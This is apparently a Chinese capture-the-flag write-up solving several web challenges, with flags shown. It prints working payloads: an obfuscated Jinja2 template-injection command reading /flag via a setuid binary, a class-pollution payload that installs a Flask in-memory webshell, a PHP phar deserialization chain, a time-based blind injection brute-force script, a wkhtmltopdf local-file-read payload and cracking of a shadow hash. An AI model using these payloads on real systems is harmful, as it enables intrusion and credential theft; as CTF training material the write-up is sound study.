{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("/usr/local/bin/env cat /flag")["read"]()}}
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("/usr/local/bin/env cat /flag")["read"]()}}

SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_019a640a32557f1080eb00dac7ae3329}

image-20251108232534931

SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_019a640a32557f1080eb00dac7ae3329}


PS:这里为了方便就没有去session里面进行更改,session里面还需要转义引号那些,到处报错,麻烦

至于为什么环境变量可读/flag,以下可说明了

ls -l /usr/local/bin/env /bin/cat /usr/bin/cat

-rwxr-xr-x 1 root root 47592 Jun 4 15:14 /bin/cat
-rwxr-xr-x 1 root root 47592 Jun 4 15:14 /usr/bin/cat
-rwsr-xr-x 1 root root 56144 Oct 29 12:08 /usr/local/bin/env

/usr/local/bin/env 的权限里有 srwsr-xr-x),那就是 setuid 位——也就是说,当你直接运行 /usr/local/bin/env ... 时,进程的有效用户ID(EUID)会被设置为 root。因此通过它去执行的命令会以 root 权限运行,从而可以读取只有 root 可读的 /flag

百年继承

先随便点点,发现在第5次就噶了,提示语句如下

上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
事件:上校使用 spear,采取 ambush 策略。世界线变动...
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...
处决成功
时间流逝:结局:命运如沙漏般倾泻……
时间流逝:结局:命运如沙漏般倾泻……

猜测是第二次的输入框中进行原型链污染

根据提示语句,可以写出以下语句

class 人类:
def __init__(self):
self.alive = True
self.execute_method = lambda executor, target: ( #lambda为匿名函数,接收executor和target两个参数
target.__del__(), #调用target的析构方法
setattr(target, 'alive', False), #设置target的alive属性为False
'处决成功') #返回字符串

class 上校的父亲(人类):
pass

class 上校(上校的父亲):
def __init__(self):
super().__init__() #父类初始化
self.weapon = None
self.tactic = None

def 做出选择(self,weapon,tactic): #类似于merge函数
self.weapon = weapon
self.tactic = tactic

class 行刑队(人类):
def 执行判决(self,target):
result = self.execute_method(self, target)
return result


weapon = "spear"
tactic = "ambush"

上校实例 = 上校()
行刑队实例 = 行刑队()
上校实例.做出选择(weapon,tactic)
结果 = 行刑队实例.执行判决(上校实例)
print(结果)

所以这里直接原型链污染就行,新建一个参数即可

{
"weapon":"spear",
"tactic":"ambush",
"__class__":{
"__base__":{
"__base__":{
"execute_method":"payload"
}
}
}
}

这里想去直接打的,比如__import__('os').popen('ls').read(),但是没有回显并且不出网,这里请教了下师傅需要打flask内存马

参考文章新版FLASK下python内存马的研究 - gxngxngxn - 博客园flask不出网回显方式 - Longlone’s BlogPython 内存马分析-先知社区

{
"weapon":"spear",
"tactic":"ambush",
"__class__":{
"__base__":{
"__base__":{
"execute_method":"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('env').read())"
}
}
}
}

这段不是马上执行命令,而是:

  1. 通过 sys.modules['__main__'] 找到当前 Flask app;
  2. 在 Flask 的生命周期钩子(before_request)中注册一个 lambda;
  3. 这个 lambda 会在每次请求处理前自动执行。

也就是说,你把恶意代码挂载到 Flask 的生命周期里了

当 Flask 下一次收到 HTTP 请求时,它运行 before_request 的所有函数,这时执行环境不再是模板沙箱,而是 Flask 主程序(app.py)的 Python 运行环境,具有完整权限,能够执行命令

最后拿到flag

image-20251110001236464

SYC{0ne_Hundr3d_Ye@rs_of_Inheritance_019a6963a9df70d28cc95a7bbf03b670}

ez-seralize

index.php读个源码(只展示关键部分)

#index.php
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}

if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
#function.php
<?php
class A {
public $file;
public $luo;

public function __construct() {
}

public function __toString() {
$function = $this->luo;
return $function();
}
}

class B {
public $a;
public $test;

public function __construct() {
}

public function __wakeup()
{
echo($this->test);
}

public function __invoke() {
$this->a->rce_me();
}
}

class C {
public $b;

public function __construct($b = null) {
$this->b = $b;
}

public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}

一个简单的链子,但是没有找到反序列化的入口,扫个目录看看

robots.txt,找到/var/www/html/uploads.php

#uploads.php
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}

$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}

$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;

file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>

所以这里直接生成一个phar文件后上传就行,注意这里需要加上时间戳

首先是链子,phar文件生成参考Phar的一些利用姿势-先知社区,生成后将后缀名改成txt

<?php
class A {
public $file;
public $luo;
}

class B {
public $a;
public $test;
}

class C {
public $b;
}

$a=new B();
$a->test=new A();
$a->test->luo=new B();
$a->test->luo->a=new C();

@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

然后bp发包,通过发包时间生成时间戳

image-20251121142104087

from datetime import datetime, timezone

http_date = "Fri, 21 Nov 2025 06:19:26 GMT"
timestamp = (datetime.strptime(http_date, "%a, %d %b %Y %H:%M:%S GMT")).replace(tzinfo=timezone.utc).timestamp()
print(int(timestamp))
#1763705966

然后包含这个文件,注意这里还需要serialized这个参数

filename=phar://uploads/1763705966_test.txt&serialized=1

Sussess!后说明flag已经在/tmp/flag中了,直接读取就行

image-20251121143505824SYC{019aa50f63e977459673cff3d02e8811}

1eeeeezzzzzzZip

1路在脚下

看到提示传入?name=YourName果断尝试ssti{{7*7}}触发了过滤,猜测是无回显ssti

尝试发现lipsum,joiner,cycler等都被禁用了,但是尝试出来下面的payload可以正常延迟

{%if config.__class__.__init__.__globals__['os'].popen('id').read()[0] == 'u' %}
{{config.__class__.__init__.__globals__['os'].popen('sleep 3').read()}}
{% endif %}

image-20251121152132104

那么就可以根据这个来进行时间盲注

import requests
import time

url = "http://019aa741-9aa4-7e25-a19f-d1ef04b086e0.geek.ctfplus.cn/"

def brute_force(url):
find = ''
for i in range(1, 100):
left, right = 0, 128

while left < right:
mid = (left + right) // 2
payload = f"{{% if config.__class__.__init__.__globals__['os'].popen('env | grep \"FLAG\"').read()[{i-1}] >= '{chr(mid)}' %}}{{{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}}}{{% endif %}}"
start_time = time.time()
try:
response = requests.get(url, params={'name': payload}, timeout=10)
elapsed_time = time.time() - start_time

if elapsed_time >= 5:
left = mid + 1
else:
right = mid
except requests.exceptions.Timeout:
left = mid + 1
except Exception as e:
print(f"请求错误: {e}")
right = mid

if left - 1 >= 32:
current_char = chr(left - 1)
find += current_char
print(f"[+] 当前结果: {find}")
else:
print(f"[*] 最终结果: {find}")
break

if __name__ == "__main__":
brute_force(url)

感觉有点麻烦的就是这个我要开5s才能稳定一点,不然就有奇奇怪怪的字符出现,拼拼凑凑凑出来flag了,注意这里要将[替换为_

image-20251122190633083

SYC{I_F0rg3_My_P@th_019aab20c7397b73931f629cb74c03ee}

PDF Viewer

源码中看到以linux系统方式登录,那就尝试从pdf那里获得shadow,网上找到文章The same origin policy allows local files to be read by default · Issue #4536 · wkhtmltopdf/wkhtmltopdf

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

</body></html>

获得用户的加盐密码值

WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::

kalijohn去爆破,能够爆破出来

image-20251110151244660

最后WeakPassword_Admin/qwerty登录获得flag

image-20251110151233146

SYC{Y0u_ArE_PDf_mAster}